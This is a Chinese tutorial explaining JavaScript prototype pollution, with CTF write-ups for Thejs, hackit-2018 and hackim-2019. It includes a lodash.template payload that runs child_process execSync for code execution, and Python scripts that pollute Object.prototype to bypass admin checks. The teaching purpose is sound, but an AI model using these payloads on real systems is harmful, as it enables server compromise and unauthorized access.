原型链污染攻击

想要很清楚了理解原型链污染我们首先必须要弄清楚原型链这个概念

可以看这篇文章:对象的继承和原型链

目录

prototype和__proto__分别是什么?

原型链继承

原型链污染是什么

哪些情况下原型链会被污染?

例题1:Code-Breaking 2018 Thejs 分析

例题2:hackit-2018

 例题3:hackim-2019


prototype和__proto__分别是什么?

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

function Foo() { //构造函数
    this.bar = 1 //构造函数的一个属性
}
new Foo()

构造函数一般函数名的首字母必须大写,Foo函数就是一个构造函数,Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。

为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖。

一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}
​
(new Foo()).show()

这里定义的show就是一个方法

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,问题的愿意就是因为:这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

我们希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了:

function Foo() {
    this.bar = 1
}
​
Foo.prototype.show = function show() {
    console.log(this.bar)
}
​
let foo = new Foo()
foo.show()

我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。

我们可以通过Foo.prototype来访问Foo类的原型,这里就又出现了一个问题:Foo实例化出来的对象不能通过prototype访问原型的。

这时候,就该__proto__登场了。

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

foo.__proto__ == Foo.prototype

所以,总结一下:

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法

  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

比如:

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father() //Son继承了 Father()

let son = new Son() //son继承lSon的方法和属性
console.log(`Name: ${son.first_name} ${son.last_name}`) //这里找到了Father中的这两个属性

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name

  2. 如果找不到,则在son.__proto__中寻找last_name

  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name

  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

  1. 每个构造函数(constructor)都有一个原型对象(prototype)

  2. 对象的__proto__属性,指向类的原型对象prototype

  3. JavaScript使用prototype链实现继承机制

原型链污染是什么

前面说到,foo.__proto__指向的是Foo类的prototype

那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

做个简单的实验:

let foo = { bar: 1 }
console.log(foo.bar);
//这里打印 1很正常
foo.__proto__.bar = 2
// foo.__proto__ === Object.prototype
//这里给Object.prototype创建了一个bar赋值为2
console.log(foo.bar);
//这里打印的foo.bar还是foo的bar
let zoo = {}
console.log(zoo.bar);
//这里因为zoo没有定义bar,
// 所以就会到Object.prototype去找bar,就会找到2

最后,虽然zoo是一个对象{},但zoo.bar的结果居然是2:​

原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。

这种攻击方式就是原型链污染

哪些情况下原型链会被污染?

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?

其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge(克隆) 

  • 对象clone(其实内核就是将待操作的对象 merge到一个空对象中)

以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

我们用如下代码实验一下:

function merge(target, source) { //接收两个参数
    for (let key in source) { //判断source是否有相应的key
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
            //把第二个参数中的key赋值给了第一个参数中的key
        }
    }
}
var x = {
    // name: 'oupeng',
    age: 18
}
var y = {
    // name: 'abc',
    age: 19,
    num: 100
}
merge(x, y);
console.log(x);
console.log(y);

let o1 = {}//o1是空的
let o2 = { a: 1, "__proto__": { b: 2 } }
//o2对象对象里面有两个参数 
merge(o1, o2) //将o2里面的属性,给o1
console.log(o1.a, o1.b)
//这里打印出来应该是1,2
o3 = {}
console.log(o3.b)

结果是,合并虽然成功了,但原型链没有被污染:​

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') 
//将json解析为js对象
merge(o1, o2)
console.log(o1.a, o1.b)
​
o3 = {}
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:​

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

总结:merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

例题1:Code-Breaking 2018 Thejs 分析

后端主要代码如下(完整代码可参考这里)

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎

  2. lodash.merge 函数或对象的合并

其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

而这里的lodash.merge操作实际上就存在原型链污染漏洞。

在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。

我们看到lodash.template的代码:

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  //这里的Function是构造函数 
  .apply(undefined, importsValues);
});

options是一个对象,sourceURL取到了其options.sourceURL属性。

这个sourceURL属性原本是没有赋值的,默认取空字符串。

但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。

最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

我将带有__proto__的Payload以json的形式发送给后端,

因为express框架支持根据Content-Type来解析请求Body,这里给我们注入原型提供了很大方便:

具体过程:

代码:这里

(1)我们首先在server.js目录下新建一个re.js文件,将上面的代码粘贴进去

(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件

注:如果报错,说没有某个模块,那么可以使用

npm install 
npm install 模块名

这两条命令任意一条来安装需要的模块

(3)然后我们可以尝试在网页访问:你的ip地址:3000

(4)然后我们使用Burpsuite抓包访问该页面

Payload:

{"__proto__":{"sourceURL":\u000areturn ()=>{for (var a in{})}delete
Object.prototype[a];}return
global.process.mainModule.constructor._load('child_process').execSync('id')}\u00a//"}}

注:这里的 delete Object.prototype[a];是为了在进行了原型链污染后,删除掉该变量,防止其他人访问

例题2:hackit-2018

这里我使用的环境是window

(1)代码

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
​
var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}
​
function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}
​
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
​
app.get('/', (req, res) => {
​
    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];
​
    }
    res.render('index');
})
​
​
app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)
​
​
app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;
​
    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    //这里可以这样传入值: matrix[__proto__][__admintoken] = oupeng
    //注:传值时一定要用json的格式去传值
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }
​
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 
​
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }
​
    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }
​
})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

分析代码后,我们可以看到,这里的if方法为true时,我们才可以正常的拿到falg,那么想要这if条件成立,需要满足这个条件:user.admintoken的md5值与req.query.querytoken值必须保持一致

    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    

然后我们再看代码后发现全文没有对user.admintoken进行赋值,所以理论上这个值是不存在的,但是下面有一句话赋值语句:

matric[client.row][client.col] =client.data

由于client使我们可控的,然后data,row,col,都是我们post传入的值,都是可控的,所以可以通过在这里传入一个值,让没有值的user.admintoken,去原型链上寻找,就会找到我们给matric传入的值,从而实现原型链污染

具体过程 :

(1)我们首先在Node.js目录下新建一个re.js文件,将上面的代码粘贴进去

(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件

注:如果报错,说没有某个模块,那么可以使用

npm install 
npm install 模块名

这两条命令任意一条来安装需要的模块

(3)编写Python代码来实现POST请求

import requests
import json
url = "http://你的ip地址:3000/api"
url1 ="http://你的ip地址:3000/admin?querytoken=824b7c531591af853d310b1b028107fe"#这里是yps的参数md5值
headers = {"Content-type":"application/json"}
data = {"row":"__proto__","col":"admintoken","data":"yps"}
res1=requests.post(url,headers=headers,data=json.dumps(data))#污染原型链
#这里的json.dump()是将数据转换为js能够解析的形式
res2=requests.get(url1)
print(res2.text)

 (4)运行Python文件

可以看到成功的通过原型链污染,拿到了flag!

 例题3:hackim-2019

代码:

'use strict';
​
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
​
​
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
​
function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
​
function clone(a) {
    return merge({}, a);
}
​
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
​
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
​
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

首先就是先看拿到值的条件:

    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }

这里需要admin.admin == 1才能正常拿到 

通过分析以上代码,我们可以发现,上面的admin对象是一个空对象,没有值。

function clone(a) {
    return merge({}, a);
}

这里我们可以使用merge给{}中提交一个key=__proto__,value=admin:1来进行原型链污染,就可以让admin通过原型链找到admin的值==1,来满足if条件,拿到if后面的值,那边我们就可以通过a,本题中传给的a是body来进行污染

具体过程

(1)首先和前面一样新建一个名为re3.js文件

文件内容就是前面的代码

(2)然后我们进入cmd命令行,cd到该文件所在路径,使用node运行文件

 注:如果在安装包时有一个    "cookie-parser"包一个报错,那么可以在node.js中的package.json中增加这样一行:

    "cookie-parser": "^1.4.6"

(3)编写pythonPOST提交代码

import requests
import json
url1 = "http://你的ip地址:8080/signup"
url2 = "http://你的ip地址:8080/getflag"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)

这里的res1会让代码中的body={"__proto__":{admin:1}}

然后代码中的copybody = clone(body),会将body中的内容克隆到 merge函数的空对象中,然后通过merge函数就会污染原型链,后面的res2就可以通过原型链拿到flag

(4)运行python代码

通过结果可以看到,成功的拿到了flag!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/127521.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【原理篇】四、自定义starter

文章目录 1、案例分析2、业务功能的实现3、中途调试4、开启定时任务打印报表5、引入属性配置类&#xff0c;写活业务参数配置6、拦截器7、开启yml提示功能 做一个记录系统访客独立IP访问次数的功能&#xff0c;并把它自定义成一个starter&#xff0c;实现&#xff1a;在现有项目…

阿里云中的云服务器的ubuntu中的vim没有显示行号

没有行号&#xff1a; 在终端输入命令&#xff1a; vim ~/.vimrc set nu

c语言总是有小问题,是练的少吗?

c语言总是有小问题&#xff0c;是练的少吗&#xff1f; 题主说我做c语言的题目时候&#xff0c;是有思路的并且可以按照想法写下来&#xff0c;大体上看没有问题&#xff0c;但是到运行的时候总是不过关。就需要很长的时间找出那个细微的错误&#xff0c;这种细微的错误怎么才能…

【C++】——类与对象(二)

&#x1f383;个人专栏&#xff1a; &#x1f42c; 算法设计与分析&#xff1a;算法设计与分析_IT闫的博客-CSDN博客 &#x1f433;Java基础&#xff1a;Java基础_IT闫的博客-CSDN博客 &#x1f40b;c语言&#xff1a;c语言_IT闫的博客-CSDN博客 &#x1f41f;MySQL&#xff1a…

基于element-plus定义表格行内编辑配置化

文章目录 前言一、新增table组件二、使用步骤 前言 在 基于element-plus定义表单配置化 基础上&#xff0c;封装个Element-plus的table表格 由于表格不同于form组件&#xff0c;需自定义校验器&#xff0c;以下组件配置了单个校验&#xff0c;及提交统一校验方法&#xff0c;且…

python核心编程速记【笔记迁移】

笔记速记 1.python非常注重缩进&#xff0c;这是它的显著特征之一。 2.import相当于头文件声明模块。 3.利用type函数 type(a)可以查看当前变量类型。 isinstance可以比较两个数据类型并返回一个布尔值。 4.这里面的可直接使用and和or作为一个函数 5.python的算法比较贴合…

新生儿疝气:原因、科普和注意事项

引言&#xff1a; 新生儿疝气是一种在婴儿中相对较常见的状况&#xff0c;很多新父母可能对这一现象感到困惑和焦虑。疝气发生时&#xff0c;内腹腔的一部分可能穿过腹壁的弱点&#xff0c;导致腹部出现凸起。本文将科普新生儿疝气的原因&#xff0c;提供相关信息&#xff0c;…

Jenkins CICD过程常见异常

1 Status [126] Exception when publishing, exception message [Exec exit status not zero. Status [126] 1.1 报错日志 SSH: EXEC: STDOUT/STDERR from command [/app/***/publish.sh] ... bash: /app/***/publish.sh: Permission denied SSH: EXEC: completed after 200…

PHP 使用递归方式 将其二维数组整合为层级树 其中层级id 为一个uuid的格式 造成的诡异问题 已解决

不啰嗦 直接上源代码 <?php function findChildren($list, $p_id){$r array();foreach ($list as $k > $item) {if ($item[fid] $p_id) {unset($list[$k]);$length count($r);$r[$length] $item;if ($t findChildren($list, $item[id])) {$r[$length][children] …

基于SSM的学生档案管理系统设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

android开发布局知识

插件开发的视频笔记&#xff1a;

跨境电商一定要做跨境独立站的6个原因!一键对接电商API接口瞬间拥有全球各大平台几十亿商品

跨境电商为什么要做独立站&#xff1f;它的优势又有哪一些&#xff1f; 如果说我们的企业是做BtoB的跨境电商&#xff0c;那今天这个内容一定要看仔细。 拥有了独立站你就是最高权力者&#xff0c;一切尽在自己掌控中&#xff01; 第一呢&#xff0c;独立站它就是我们自己做的…

IP行业API助力于网络分析和数据挖掘

引言 在当今数字化时代&#xff0c;数据成为了企业、科研机构和政府决策者的重要资源&#xff0c;而IP行业API则成为了数据分析及挖掘的工具之一。IP行业API是一种能够查询IP地址所属的行业分类信息的应用程序接口&#xff0c;它能够提供在网络分析、用户行为分析及大数据挖掘…

【PG】PostgreSQL13主从流复制部署(详细可用)

目录 版本 部署主从注意点 1 主库上创建复制用户 2 主库上修改pg_hba.conf文件 3 修改文件后重新加载配置使其生效 4 主库上修改配置文件 5 重启主库pg使参数生效 6 部署从库 7 备份主库数据至从库 停止从库 备份从库的数据库目录 新建数据库数据目录data 创建和…

客户服务质量提升的三种思路

客户服务质量是企业在市场竞争中立于不败之地的重要因素之一&#xff0c;优秀的客户服务不仅可以提高客户满意度&#xff0c;还可以提高客户黏度和回头率。随着经济的发展&#xff0c;客户服务行业也在不断发展壮大。在这个竞争激烈的行业中&#xff0c;企业如何提高客户服务质…

送水服务预约小程序内容该如何做

无论小区还是办公楼等场景&#xff0c;送水服务往往有较高需求&#xff0c;同时该服务属于长期稳定性的&#xff0c;因此对品牌来说&#xff0c;如何打造品牌获取更多用户及转化非常重要&#xff0c;然而在实际订水过程中&#xff0c;又会面临着一些难题&#xff1a; 1、品牌传…

基于SSM的学院就业信息网设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

【FPGA】正确处理设计优先级--或许能帮你节省50%的资源

概述 假如现在有一种方法–可以在不怎么需要修改已有设计的情况下&#xff0c;就可以帮您节省50%的设计资源&#xff0c;那你会试试看吗&#xff1f; 当前市场环境下&#xff0c;更低廉的成本却可获得同等性能无疑是极具诱惑的。本文将介绍一种FPGA设计技术&#xff0c;该技术…

docker创建并访问本地前端

docker创建并访问本地前端&#xff0c;直接上命令&#xff1a; 安装nginx镜像&#xff1a; docker pull nginx 查看已安装的nginx&#xff1a; docker images 创建DockerFile文件&#xff0c;直接在当前文件夹种创建 touch Dockerfile 在Dockerfile写入内容&#xff1a; F…

ISP算法——UVNR

ISP算法——UVNR 概念简介 UVNR也就是经过CSC只有在YUV域对UV两个色域进行降噪&#xff0c;在有些方案里也叫CNR&#xff08;chroma noise reduction&#xff09;。主要就是在YUV域针对彩燥进行特殊处理的一系列算法。 关于噪声产生的原因在前面关于降噪的文章和视频中已经做…